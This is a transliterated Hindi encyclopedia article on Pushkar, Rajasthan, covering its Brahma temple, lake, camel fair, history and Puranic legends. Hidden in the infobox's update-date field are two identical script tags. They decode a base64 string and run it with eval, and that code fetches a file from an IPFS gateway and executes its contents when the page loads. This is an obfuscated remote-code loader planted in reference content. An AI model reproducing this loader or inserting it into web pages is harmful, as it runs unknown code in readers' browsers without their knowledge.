पुष्कर

chitr:Disamb2.jpg pushkar

ek bahuvikalpi shabd hai any arthoan ke lie dekhean:- pushkar (bahuvikalpi)

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pushkar
pushkar, ajamer|200px|center
vivaran	pushkar, brahma ke mandir aur ooantoan ke vyapar mele ke lie prasiddh hai.
rajy	rajasthan
zila	ajamer
bhaugolik sthiti	uttar- 26° 30' 0.00", poorv- 74° 33' 0.00"
marg sthiti	pushkar jankshan rod se lagabhag 13 se 14 kimi ki doori par sthit hai.
prasiddhi	pushkar ke mele mean pachchis hazar se bhi adhik ooantoan ka vyapar hota hai.
kaise pahuanchean	havaee jahaz, rel, bas adi
havaee adda	saanganer havaee adde, jayapur
relave steshan	ajamer relave steshan
bas adda	ajamer bas adda
yatayat	taiksi, aauto riksha, saeekil riksha, sthaniy bas
kya dekhean	brahma mandir, savitri mandir, badrinarayan mandir, varah mandir v shivatmeshvari mandir
kahaan thaharean	hotal, dharmashala, atithi grah
es.ti.di. kod	0145
e.ti.em	lagabhag sabhi
chitr:Map-icon.gif	googal manachitr
sanbandhit lekh	pushkar jhil, khvaja moinuddin chishti daragah, anasagar jhil, taragadh ka qila, adhaee din ka jhopada, soni ji ki nasiyaan, akabar ka qila	bhasha	hiandi, aangreji, rajasthani
any janakari	pushkar mean desh ka ikalauta brahma mandir hai.
adyatan‎	16:44, 20 disambar 2011 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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pushkar brahma ke mandir aur ooantoan ke vyapar mele ke lie prasiddh hai. pushkar ka shabdik arth hai talab. ajamer se matr 11 kilomitar door tirtharaj pushkar vishvavikhyat hai aur puranoan mean varnit tirthoan mean isaka mahattvapoorn sthan hai. rajasthan ke shahar ajamer mean kee paryatan sthal hai jinamean se ye ek hai. anek pauranik kathaean isaka praman haian. yahaan se pragaitihasik kalin pashan nirmit astr-shastr mile haian, jo us yug mean yahaan par manav ke kriya-kalapoan ki or sanket karate haian.

aitihasik ullekh

bataya jata hai ki kabhi is sthan par me d (mer) jati ke adivasi nivas karate the. unake nam par is poore pradesh ka nam merava da kaha jata tha. eesvi shatabdi ke praranbh mean yah kshetr takshakoan ke adhikar mean raha. in takshakoan ko nag bhi kaha jata tha. inaka bauddhoan se vaimanasy tha. bauddhoan v hoonoan ke bar-bar akraman ke karan ye pahadiy़aan badal-badal kar akhir vahaan pahuanche, jahaan pushkar tirth tha. unhoanne yahaan se me doan ko mar bhagaya. nag parvat unaki smriti ka pratik hai. itihas ki karavat ke sath yah adivasi kshetr rajapootakal mean paramar shasakoan ke adhin a gaya. us samay is kshetr ko padmavati kaha jane laga. nag v paramar donoan hi jain dharmanuyayi jatiyaan rahian. brahmanoan se unake sangharsh ke anek udaharan puranoan mean upalabdh haian. jodhapur ke nikat mandor ke parihar rajapoot rajaoan v merava da ke gurjar rajaoan v jagiradaroan ki madad se brahmanoan ne in jain paramaroan ko sattachyut kar diya. eesa poorv doosari shatabdi ke kuchh shilalekh mile haian, jinamean varnit prasangoan ke adhar par kaha jata hai ki hianduoan ke saman hi bauddhoan ke lie bhi pushkar pavitr sthan raha hai.

• bhagavan buddh ne yahaan brahmanoan ko bauddh dharm ki diksha di thi. phalasvaroop bauddhoan ki ek nee shakha paushkarayini sthapit huee. shankarachary, jin soori aur jin vallabh soori, himagiri, pushpak, eeshidatt adi vidvanoan ke nam pushkar se ju de hue haian. chauhan raja aranoraj ke kal mean vishal shastrarth hua tha. isamean ajamer ke jain vidvanh jin soori aur jin vallabh soori ne bhag liya tha. paanch sau sal pahale nimbarkachary parashuram devachary nikatavarti nimbark tirth se roj yahaan snanarth ate the. vallabhachary mahaprabhu ne yahaan shrimadbhagavat katha ki. gurunanak dev ne yahaan granth sahab ka path kiya aur sanh 1662 mean guru goviand sianh ne bhi googhat par sangat ki. eesa pashchath 1809 mean maratha saradaroan ne isaka punarnirman karavaya. yahi vah sthan hai, jahaan guru goviandasianh ne sanvat 1762 (eesa pashchath 1705) mean gurugranth sahab ka path kiya.

[[chitr:Pushkar-1.jpg|thumb|250px|left|pushkar, ajamer]]

• sanh 1911 eesvi bad aangrezi shasanakal mean maharani meri ne yahaan mahilaoan ke lie alag se ghat banavaya. isi sthan par mahatma gaandhi ki asthiyaan pravahit ki geean, tab se ise gaandhi ghat bhi kaha jata hai. marava d mandor ke pratihar naresh nah darav ne pushkar ke jal se kushth rog se mukti par pushkar sarovar ki khudaee ki, ghat v dharmashala banavaee. harshanath mandir (sikar) mean mile sanh 1037 ke ek shilalekh ke anusar chauhan raja sianharaj ne harshanath mandir banavaya. rana mokal ne varah mandir mean apane ko svarn se tulava kar brahmanoan ko dan mean diya. jodhapur, jayapur, kota, bharatapur adi riyasatoan ke rajaoan ne ghat banavae.
• pushkar jainoan ko bhi pavitr tirth raha hai. jainoan ki pattavaliyoan v vanshavaliyoan mean yah kshetr padmavati ke nam se vikhyat tha. jinapati soori ne eesa pashchath 1168, 1188 v 1192 mean is sthan ki yatra ki aur anek logoan ko diksha di. varah mandir ke pas hua ghamasan pushkar mean pauranik mahatv ka varah mandir ek ghamasan yuddh ka gavah raha hai. yahaan aurangajeb aur jodhapur ke maharaj ajit sianh ke bich hue yuddh mean donoan or ke sat hazar sainik shahid hue the. ajamer ke soobedar tahavvur khan ko vijay mili aur utsav manane ke lie usane ek hazar gayean katane ka ailan kiya. is par rajapootoan ne phir yuddh kar tahavvur ko bhaga diya. jit ki khushi mean gay ki pratima sthapit ki. yahi pratima aj goo ghat par vidyaman hai. goo ghat ke pas shahi masjid tahavvur ne banavaee thi.

pauranik ullekh

thumb|pushkar|250px pauranik drishti se pushkar ke nirman ki gathaean rahasy aur romaanch se paripoorn haian. inaka ullekh padmapuran mean milata hai. padmapuran ke srishti khand mean likha hai ki kisi samay vajranabh namak ek rakshas is sthan mean rah kar brahmaji ke putroan ka vadh kiya karata tha. brahmaji ne krodhit ho kar kamal ka prahar kar is rakshas ko mar dala. us samay kamal ki jo tin pankhudiyaan zamin par girian, un sthanoan par jal dhara pravahit hone lagi. kalaantar mean ye hi tinoan sthal jyeshth pushkar, madhyam pushkar v kanishth pushkar ke nam se vikhyat hue. jyeshth pushkar ke devata brahma, madhy ke vishnu v kanishth ke devata shiv haian. mukhy pushkar jyeshth pushkar hai aur kanishth pushkar boodha pushkar ke nam se vikhyat haian, jisaka hal hi jirnoddhar karaya gaya hai. ise buddh pushkar bhi kaha jata hai. pushkar ke namakaran ke bare mean kaha jata hai ki brahmaji ke hathoan (kar) se pushp girane ke karan yah sthan pushkar kahalaya. rakshas ka vadh karane ke bad brahmaji ne is sthan ko pavitr karane ke uddeshy se kartik nakshatr ke uday ke samay kartik ekadashi se yahaan yajn kiya, jisamean sabhi devi-devataoan ko amantrit kiya. usaki poornahuti poornima ke din huee. usi ki smriti mean yahaan kartik mah ekadashi se poornima tak mela lagane laga.

padm puran ke anusar yajn ko nirvighn poora karane ke lie brahmaji ne dakshin disha mean ratnagiri, uttar mean nilagiri, pashchim mean sonachoo d aur poorv disha mean sarpagiri (nag paha d) namak paha diyaan banaee thian. param aradhya devi gayatri ka janm sthan bhi pushkar hi mana jata hai. kahate haian ki yajn shuroo karane se pahale brahmaji ne apani patni savitri ko bula kar lane ke lie apane putr narad se kaha. narad ke kahane par jab savitri ravana hone lagi to narad ne unako dev-rrishiyoan ki patniyoan ko bhi sath le jane ki salah di. is karan savitri ko vilamb ho gaya. yajn ke niyamoan ke tahat patni ki upasthiti zaroori thi. is karan indr ne ek gurjar kanya ko talash kar gay ke muanh mean dal kar pith se nikal kar pavitr kiya aur usaka brahmaji ke sath vivah sanpann hua. isi karan usaka nam gayatri kahalaya. jaise hi savitri yahaan pahuanchi aur brahmaji ko gayatri ke sath baitha dekha to usane krodhit ho kar brahmaji ko shap diya ki pushkar ke alava prithvi par apaka koee mandir nahian hoga. indr ko shap diya ki yuddh mean tum kabhi vijayi nahian ho paage. brahmanoan ko shap diya ki tum sada daridr rahoge. gay ko shap diya ki too gandi vastuoan ka sevan karegi. kuber ko shap diya ki tum dhanahin ho jaoge. yajn ki samapti par gayatri ne sabhi ko shap se mukti dilaee aur brahmanoan se kaha ki tum sansar mean poojaniy rahoge. indr se kaha ki tum har kar bhi svarg mean nivas karoge.

pushkar mahatmy

rrishi bole, he mahabhag! padmak yog ka kis samay thik svaroop hota hai, so kaho. soot ji ne kaha - vishakha nakshatr par soory ho aur krittika par chandrama ho, tab 'padmak yog' hota hai, parantu pushkar tirth mean isaka milana kathin hai. he dvijoan mean uttam jab kartiki kritika nakshatrayukt ho aur soory vishakha nakshatr par ho, vahaan yahaan 'kartiki' kahalati hai, is din snan karane par sooryagrahan jitana phal hota hai. jo manushy shrriddha se 'jyeshth pushkar' mean snan kare, vah barah varsh ke sanpoorn phal ko prapt karata hai. dvij bole- he soot nandan! tirth pushkar aantariksh mean kyoan thahara hai aur manushyoan ko kaise mil sakata hai? yah hamase kaho. soot ji bole- poorvakal mean pap se sanyukt hone par bhi pushkar snan karane se hi manushy svarg ko chale jate the, is karan se agnishtom yajn, uttam karm, dev poojan pitrikarm aur japadik sab band ho ge. keval pushkar mean snan karake log svarg mean jane lage aur svargalok manushyoan se bhar gaya, tab devataoan ke man mean chianta huee. tab iandr, sab devagan, vishnu aur shiv ko age kar brahmalok mean brahmadev ki anek prakar ved sooktoan se stuti kar devata bole- he dev! yah jo apane pushkar tirth banaya hai, isake prabhav se svarg manushyoan se bhar gaya hai. manushy papi hone par bhi devata ki barabari kaise kar sakata hai? isalie he mahabhag chaturmukh! pushkar tirth ke snan ka phal nishphal kijie. brahma ji ne kaha- jahar ka vriksh bhi lagakar katana nahian chahie, isalie he devatao, maian is tirth ko aantariksh mean rakhooanga. he dev! kartik shuklapaksh ke aant ke paanch din chho d yahaan rahega, un paanch dinoan mean tirth pushkar bhootal par rahega, shesh kal mean mantroan se ahvan hone par pushkar tirth aantariksh se bhootal par a jaega. he dvij shreshth! is karan se pushkar bhoomi par hokar bhi aantariksh mean ho gaya. soot ji bole- tirtharaj pushkar mean anek muniyoan v devataoan ke ashram aur tirth haian so hamase kaho. sootaji bole- he uttam jan! tirth mean muniyoan aur raj rrishiyoan ke asankhy sthan haian, jinaki sankhya brihaspati adi saik doan varshoan mean bhi nahian kar sakate haian. is pushkar kshetr mean panchashrota sarasvati, praniyoan ke pap door karane ke lie brahmalok se akar thahari haian aur unaka suprabha, chandra, nanda, prachi, sarasvati- ye paanch shrot sthit haian. jyeshth pushkar mean suprabha nadi, madhy pushkar mean shuddh nadi aur kanishth pushkar mean kanaka, nanda aur prachi sarasvati nadi bahati hai aur mangalakarani, vishnu padi, pad-pad par parvatoan-shikharoan ko dhoti hai. jisake darshan matr se manushy papoan se chhoot jata hai. yajn parvat ke kinare par jo nag tirth prasiddh haian, vahaan snan karane vale manushy ko saanp katane se kabhi mrityu nahian hoti hai. bhagavan vishnu ne pratham chakr yahaan chho da tha, vah prati vasar mean piand dene se pitrigan prasann hokar uttam gati ko prapt hote haian.

ramayan mean ullekh

valmiki ramayan mean bhi pushkar ka ullekh hai. ayodhya ke raja trishanku ko sadeh svarg mean bhejane ke lie apana sara tap daanv laga dene ke lie vishvamitr ne yahaan tap kiya tha. yah ullekh bhi milata hai ki apsara menaka bhi pushkar ke pavitr jal mean snan karane ayi thi. usako dekh kar hi vishvamitr kam ke vashibhoot ho ge the. ve das sal tak menaka ke sansarg mean rahe, jisase shakuntala namak putr ka janm hua. bhagavan ram ne apane pitashri dasharath ka shraddh madhy pushkar ke nikat gaya kuand mean hi kiya tha. [[chitr:Pushkar.jpg|thumb|250px|left|pushkar, ajamer]]

mahabharat mean ullekh

mahabharat mean maharaja yudhishthir ke yatra vritaant ke varnan mean yah ullekh milata hai ki maharaja ko jangaloan mean hote hue chhoti-chhoti nadiyoan ko par karate hue pushkar ke jal mean snan karana chahie. mahabharat kal ki pushti karate kuchh sikke bhi khudaee mean mile haian. kaha jata hai ki paandavoan ne apane vanavas kal ke kuchh din pushkar mean hi bitae the. unhian ke nam par yahaan panchakuand bana hua hai. subhadra haran ke bad arjun ne pushkar mean kuchh samay vishram kiya tha. agasty, vamadev, jamadagni, bhritahari rrishiyoan ki tapasya sthali ke roop mean unaki guphaean aj bhi nag paha d mean haian. bataya jata hai ki parashar rrishi bhi isi sthan par utpann hue the. unhian ke vashanj parashar brahman kahalate haian. mahabharat ke van parv ke anusar shrikrishna ne pushkar mean dirghakal tak tapasya ki.

lupt sarasvati nadi

aisi manyata hai ki vedoan mean varnit sarasvati nadi pushkar tirth aur isake asapas bahati hai. pushkar ke samiparti ganahe da, baanseli, chavandiya, naand v bhagavanapura ki retili bhoomi mean hi sarasvati ka vistar tha. padm puran ke anusar devataoan ne b davanal ko pashchimi samudr mean le jane ke lie jagatapita brahma ki nishpap kumari kanya sarasvati se anurodh kiya to vah sabase pahale brahmaji ke pas yahian pushkar mean ashirvad lene pahuanchi. vah brahmaji ke srishti rachana yajn sthali ki agri ko apane sath lekar age badhian. mahabharat ke shaly parv (gada yuddh parv) mean ek shlok hai-pitamahen majata ahoota pushkarej va suprabha nam rajendr namnatam sarasvati. arthath pitamah brahmaji ne sarasvati ko pushkar mean ahoot kiya. batate haian ki naand, pichauliya v bhagavanapura jis nadi se sarasabj rahe, vah nanda sarasvati hi maulik roop se sarasvati nadi hai. isake bare mean padm puran mean rochak katha hai. isake anusar raja prabhanjan kumar ne bachche ko doodh pilati ek hirani ko tar diya to hirani ke shap se ek sau sal tak narabhakshi bagh bane rahe. usane shap mukti ka upay poochha to hirani ne bataya ki nanda nam ki gay se vartalap se mukti milegi. ek sau sal poore hone par bagh ne ek gay ko pak d liya. gay ne jaise hi bataya ki vah nanda hai to bagh vapas raja prabhanjan ke roop mean avatarit ho gaya. gay ki sachchaee se prasann ho dharmaraj ne vachan diya yahaan van mean bahane vali sarasvati nadi nanda ke nam se pukari jae.

pushkar kshetr ke vishesh akarshan

[[chitr:Pushkar-Lake-Ajmer-1.jpg|thumb|250px|pushkar jhil]]

• pushkar jhil rajasthan ke ajamer nagar se gyarah kilomitar uttar mean sthit hai.
• manyata ke anusar isaka nirman bhagavan brahma ne karavaya tha, tatha isamean bavan snan ghat haian. in ghatoan mean varah, brahm v goo ghat mahattvapoorn haian.
• varah ghat par bhagavan vishnu ne varah avatar (jangali sooar) liya tha.
• pauranik sarasvati nadi kurukshetr ke samip lupt ho jane ke bad yahaan punah pravahit hoti hai. aisi manyata hai ki shriram ne yahaan par snan kiya tha. laghu pushkar ke gav kuand sthan par log apane divangat purakhoan ke lie anushthan karate haian.
• bhagavan brahma ka samarpit pushkar mean paanch mandir haian— brahma mandir, savitri mandir, badrinarayan mandir, varah mandir v shivatmeshvari mandir.

desh ka ikalauta brahma mandir

pushkar ko tirthoan ka mukh mana jata hai. jis prakar prayag ko "tirtharaj" kaha jata hai, usi prakar se is tirth ko "pushkararaj" kaha jata hai. pushkar ki ganana panchatirthoan v panch sarovaroan mean ki jati hai. pushkar sarovar tin haian -

1. jyeshth (pradhan) pushkar
2. madhy (boodha) pushkar
3. kanishk pushkar.

thumb|left|brahma mandir, pushkar jyeshth pushkar ke devata brahmaji, madhy pushkar ke devata bhagavan vishnu aur kanishk pushkar ke devata rudr haian. pushkar ka mukhy mandir brahmaji ka mandir hai. jo ki pushkar sarovar se tho di hi doori par sthit hai. mandir mean chaturmukh brahma ji ki dahini or savitri evan bayian or gayatri ka mandir hai. pas mean hi ek aur sanakadi ki moortiyaan haian, to ek chhote se mandir mean narad ji ki moorti. ek mandir mean hathi par baithe kuber tatha narad ki moortiyaan haian.

brahmavaivart puran mean ullikhit hai ki apane manas putr narad dvara srishtikarm karane se inkar kie jane par brahma ne unhean roshapoorvak shap de diya ki—"tumane meri ajna ki avahelana ki hai, atah mere shap se tumhara jnan nasht ho jaega aur tum gandharv yoni ko prapt karake kaminiyoan ke vashibhoot ho jaoge." tab narad ne bhi duahkhi pita brahma ko shap diya—"tat! apane bina kisi karan ke soche - vichare mujhe shap diya hai. atah maian bhi apako shap deta hooan ki tin kalpoan tak lok mean apaki pooja nahian hogi aur apake mantr, shlok kavach adi ka lop ho jaega." tabhi se brahma ji ki pooja nahian hoti hai. matr pushkar kshetr mean hi varsh mean ek bar unaki pooja–archana hoti hai.

poore bharat mean keval ek yahi brahma ka mandir hai. is mandir ka nirman gvaliyar ke mahajan gokul prakh ne ajamer mean karavaya tha. brahma mandir ki lat lal rang ki hai tatha isamean brahma ke vahan hans ki akritiyaan haian. chaturmukhi brahma devi gayatri tatha savitri yahaan moortiroop mean vidyaman haian. hinduoan ke lie pushkar ek pavitr tirth v mahanh pavitr sthal hai.

vartaman samay mean isaki dekh–rekh ki vyavastha sarakar ne sambhal rakhi hai. atah tirthasthal ki svachchhata banae rakhane mean bhi kafi madad mili hai. yatriyoan ki avas vyavastha ka vishesh dhyan rakha jata hai. har tirthayatri, jo yahaan ata hai, yahaan ki pavitrata aur sauandary ki man mean ek yad sanjoe jata hai.

pushkar mela

1. REDIRECTsaancha:mukhy

thumb|250px|ooant mela, pushkar pushkar mele ka ek rochak aang ooantoan ka kray–vikray hai. nissandeh any pashuoan ka bhi vyapar kiya jata hai, parantu ooantoan ka vyapar hi yahaan ka mukhy akarshan hota hai. miloan door se ooant vyapari apane pashuoan ke sath mean pushkar ate haian. pachchis hazar se bhi adhik ooantoan ka vyapar yahaan par hota hai. yah sambhavatah ooantoan ka sansar bhar mean sabase b da mela hota hai. is dauran log ooantoan ki savari kar kharidadaroan ka apani or lubhate haian. pushkar mean sarasvati nadi ke snan ka sarvadhik mahattv hai. yahaan sarasvati nam ki ek prachin pavitr nadi hai. yahaan par vah paanch namoan se bahati hai. pushkar snan kartik poornima ko sarvadhik punyaprad mana jata hai. yahaan prativarsh do vishal meloan ka ayojan kiya jata haian.

• kartik shukl ekadashi se poornima tak yahaan par ek vishal mela lagata hai.
• doosara mela vaishakh shukla ekadashi se poornima tak rahata hai.

meloan ke rang rajasthan mean dekhate hi banate haian. ye mele marusthal ke gaanvoan ke kathor jivan mean ek navin utsah bhar dete haian. log rang–birange paridhanoan mean saj–dhajakar jagah–jagah par nrity gan adi samarohoan mean bhag lete haian. yahaan par kafi matra mean bhi d dekhane ko milati hai. log is mele ko shraddha, astha aur vishvas ka pratik manate haian. pushkar mela thar marusthal ka ek lokapriy v rangoan se bhara mela hai. yah kartik shukl ekadashi ko prarambh ho kartik poornima tak paanch din tak ayojit kiya jata hai. mele ka samay poorn chandrama paksh, aktoobar–navambar ka hota hai. pushkar jhil bharatavarsh mean pavitratam sthanoan mean se ek hai. prachinakal se log yahaan par prativarsh kartik mas mean ekatrit ho bhagavan brahma ki pooja upasana karate haian.

[[chitr:Pushkar-Lake-Ajmer-2.jpg|x250px|alt=pushkar jhil|ajamer ki pushkar jhil ka vihganm drishy]]

ajamer ki pushkar jhil ka vihganm drishy

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panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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sanbandhit lekh

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